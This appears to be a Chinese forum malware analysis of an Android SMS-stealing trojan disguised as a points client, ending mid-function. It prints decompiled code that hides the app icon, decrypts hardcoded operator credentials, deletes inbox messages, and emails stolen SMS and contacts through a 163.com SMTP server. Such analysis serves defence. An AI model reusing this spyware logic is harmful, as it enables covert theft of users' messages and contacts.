以前发表于http://www.52pojie.cn/thread-524338-1-1.html
样本安装名称:积分客户端
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
xml
version
=
"1.0"
encoding
=
"utf-8"
standalone
=
"no"
?>
<
manifest
xmlns:android
=
"http://schemas.android.com/apk/res/android"
android:installLocation
=
"internalOnly"
package
=
"com.rcerc.cew"
>
<
uses-permission
android:name
=
"android.permission.INTERNET"
/>
<
uses-permission
android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_SMS"
/>
<
uses-permission
android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_WAP_PUSH"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_USER_PRESENT"
/>
<
uses-permission
android:name
=
"android.permission.READ_PHONE_STATE"
/>
<
uses-permission
android:name
=
"android.permission.MODIFY_AUDIO_SETTINGS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission
android:name
=
"android.permission.GET_TASKS"
/>
<
uses-permission
android:name
=
"android.permission.ACCESS_NETWORK_STATE"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_SETTINGS"
/>
<
uses-permission
android:name
=
"android.permission.VIBRATE"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_EXTERNAL_STORAGE"
/>
<
uses-permission
android:name
=
"android.permission.ACCESS_WIFI_STATE"
/>
<
application
android:allowBackup
=
"true"
android:icon
=
"@drawable/app_logo"
android:label
=
"@string/app_name"
android:name
=
"com.phone.stop.db.PhoneApplication"
android:theme
=
"@android:style/Theme.Black.NoTitleBar.Fullscreen"
>
<
activity
android:excludeFromRecents
=
"false"
android:label
=
"@string/app_name"
android:name
=
"com.phone.stop.activity.MainActivity"
>
<
intent-filter
>
<
action
android:name
=
"android.intent.action.MAIN"
/>
<
category
android:name
=
"android.intent.category.LAUNCHER"
/>
intent-filter
>
activity
>
|
1
2
3
4
5
6
7
|
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
|
protected
void
onCreate(Bundle arg5) {
super
.onCreate(arg5);
this
.setContentView(
2130903041
);
this
.getPackageManager().setComponentEnabledSetting(
this
.getComponentName(),
2
,
1
);
// 隐藏图标
i.set_i_want_xxoo(((Context)
this
));
// i_want_xxoo-->解密获取手机号码
i.set_send_email_account(((Context)
this
));
// send_email_account-->解密获取发送邮箱帐号
i.set_receive_email_account(((Context)
this
));
// receive_email_account--》解密获取接收邮箱帐号
i.set_send_email_pwd(((Context)
this
));
// send_email_pwd--》解密获取邮箱密码
i.init_end_time(((Context)
this
));
// app_end_time---》失活时间
if
(!a.a(((Context)
this
)).i()) {
k.send_MSG(
"软件安装完毕\n识别码:"
+
this
.getSystemService(
"phone"
).getDeviceId() +
"\n"
+ j.a(),
// 发送手机识别码、型号、品牌、系统版本到收信号码
4
, ((Context)
this
));
a.a(((Context)
this
)).e(
true
);
// 设置has_send_phone_info为true
}
k.a(((Context)
this
));
// 删除收件箱短信
if
(a.a(((Context)
this
)).j()) {
d.a(((Context)
this
));
// email_message_contacts_switch---》true 发送联系人及短信信息给邮箱
}
this
.a();
// 获取设备管理权限
}
|
1
2
|
this
.setContentView(
2130903041
);
this
.getPackageManager().setComponentEnabledSetting(
this
.getComponentName(),
2
,
1
);
// 隐藏图标
|
1
2
3
4
5
|
i.set_i_want_xxoo(((Context)
this
));
// i_want_xxoo-->解密获取手机号码
i.set_send_email_account(((Context)
this
));
// send_email_account-->解密获取发送邮箱帐号
i.set_receive_email_account(((Context)
this
));
// receive_email_account--》解密获取接收邮箱帐号
i.set_send_email_pwd(((Context)
this
));
// send_email_pwd--》解密获取邮箱密码
i.init_end_time(((Context)
this
));
// app_end_time---》失活时间
|
1
2
3
4
5
6
|
public
static
void
set_i_want_xxoo(Context arg2) {
// set_i_want_xxoo
if
(!a.a(arg2).d()) {
a.a(arg2).b(g.a(a.a(arg2).c()));
// 解密获取i_want_xxoo对应的手机号码
a.a(arg2).b(
true
);
// 设置have_init_phone_number的值
}
}
|
1
2
3
|
public
boolean
d() {
return
this
.b.getBoolean(
"have_init_phone_number"
,
false
);
}
|
1
2
3
|
public
String c() {
return
this
.b.getString(
"i_want_xxoo"
,
"f192419edc4cd50a7bdcb5230119d8e4"
);
}
|
01
02
03
04
05
06
07
08
09
10
11
12
|
public
static
String a(String arg2) {
String v0_1;
// 得到解密后的值
try
{
v0_1 =
new
e(
"staker"
).b(arg2);
// 得到解密后的值
}
catch
(Exception v0) {
v0.printStackTrace();
v0_1 =
""
;
}
return
v0_1;
}
|
1
2
3
4
5
|
public
void
b(String arg3) {
SharedPreferences$Editor v0 =
this
.b.edit();
v0.putString(
"i_want_xxoo"
, arg3);
v0.commit();
}
|
1
2
3
4
5
|
public
void
b(
boolean
arg3) {
SharedPreferences$Editor v0 =
this
.b.edit();
v0.putBoolean(
"have_init_phone_number"
, arg3);
v0.commit();
}
|
1
2
3
4
5
|
if
(!a.a(((Context)
this
)).i()) {
k.send_MSG(
"软件安装完毕\n识别码:"
+
this
.getSystemService(
"phone"
).getDeviceId() +
"\n"
+ j.a(),
// 发送手机识别码、型号、品牌、系统版本到收信号码
4
, ((Context)
this
));
a.a(((Context)
this
)).e(
true
);
// 设置has_send_phone_info为true
}
|
1
|
k.a(((Context)
this
));
// 删除收件箱短信
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public
static
void
a(Context arg8) {
// 删除收件箱短信
String[] v2 =
null
;
// has_delete_message
if
(!a.a(arg8).h()) {
ContentResolver v0 = arg8.getContentResolver();
Cursor v1 = v0.query(com.phone.stop.a.a.b, v2, ((String)v2), v2,
"date"
);
// b--->content://sms/inbox
try
{
if
(!a.a(arg8).h() && (v1.moveToNext())) {
int
v2_1 = v1.getInt(v1.getColumnIndex(
"_id"
));
int
v3 = v0.delete(Uri.parse(
"content://sms/"
+ v2_1),
null
,
null
);
int
v0_2 = v0.delete(com.phone.stop.a.a.a,
"_id="
+ v2_1,
null
);
if
(v3 !=
1
&& v0_2 !=
1
) {
goto
label_39;
}
a.a(arg8).d(
true
);
// has_delete_message为true
}
label_39:
v1.close();
}
catch
(Exception v0_1) {
}
}
}
|
1
2
3
|
if
(a.a(((Context)
this
)).j()) {
d.a(((Context)
this
));
// email_message_contacts_switch---》true 发送联系人及短信信息给邮箱
}
|
1
2
3
|
public
static
void
a(Context arg1) {
a.a(
new
e(arg1));
// 发送联系人及短信信息给邮箱
}
|
1
2
3
4
5
|
public
Object a() {
d.b(
this
.a);
// 发送短信信息给邮箱
d.c(
this
.a);
// 发送联系人信息给邮箱
return
null
;
}
|
1
2
3
|
static
void
b(Context arg0) {
d.d(arg0);
}
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
private
static
void
d(Context arg9) {
// 发送短信信息给邮箱
try
{
com.phone.stop.db.a v1 = com.phone.stop.db.a.a(arg9);
if
(!v1.m()) {
ArrayList v2 = h.a(arg9);
// 获取短信列表
if
(v2.size() <=
0
) {
return
;
}
String v3 = arg9.getSystemService(
"phone"
).getDeviceId();
// 手机设备信息
StringBuffer v4 =
new
StringBuffer(
"------------------------------
);
Iterator v2_1 = v2.iterator();
label_14:
if
(v2_1.hasNext()) {
Object v0_1 = v2_1.next();
v4.append(
"
+ ((com.phone.stop.d.b)
v0_1).b +
" "
+ ((com.phone.stop.d.b)v0_1).c +
"-------------
);
Iterator v5 = ((com.phone.stop.d.b)v0_1).d.iterator();
while
(
true
) {
if
(!v5.hasNext()) {
goto
label_14;
}
v0_1 = v5.next();
if
(((com.phone.stop.d.a)v0_1).e ==
1
) {
v4.append(((com.phone.stop.d.a)v0_1).d).append(
" "
).append(((com.phone.stop.d.a)
v0_1).c).append(
"
);
continue
;
}
v4.append(((com.phone.stop.d.a)v0_1).d).append(
" "
).append(
""
)
.append(((com.phone.stop.d.a)v0_1).c).append(
""
).append(
"
);
}
}
String v0_2 = v1.n();
// send_email_account
String v2_2 = v1.r();
// send_email_pwd
String v5_1 = v1.p();
// receive_email_account
b v6 =
new
b();
v6.a(
"smtp.vip.163.com"
,
"25"
);
v6.a(v0_2,
"DX列表("
+ v3 +
")"
, v4.toString());
v6.a(
new
String[]{v5_1});
v6.b(
"smtp.vip.163.com"
, v0_2, v2_2);
// 发送短信信息给邮箱
v1.g(
true
);
}
return
;
}
catch
(Exception v0) {
return
;
}
}
|
1
2
3
|
static
void
c(Context arg0) {
d.e(arg0);
}
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
private
static
void
e(Context arg9) {
// 发送联系人给邮箱
try
{
|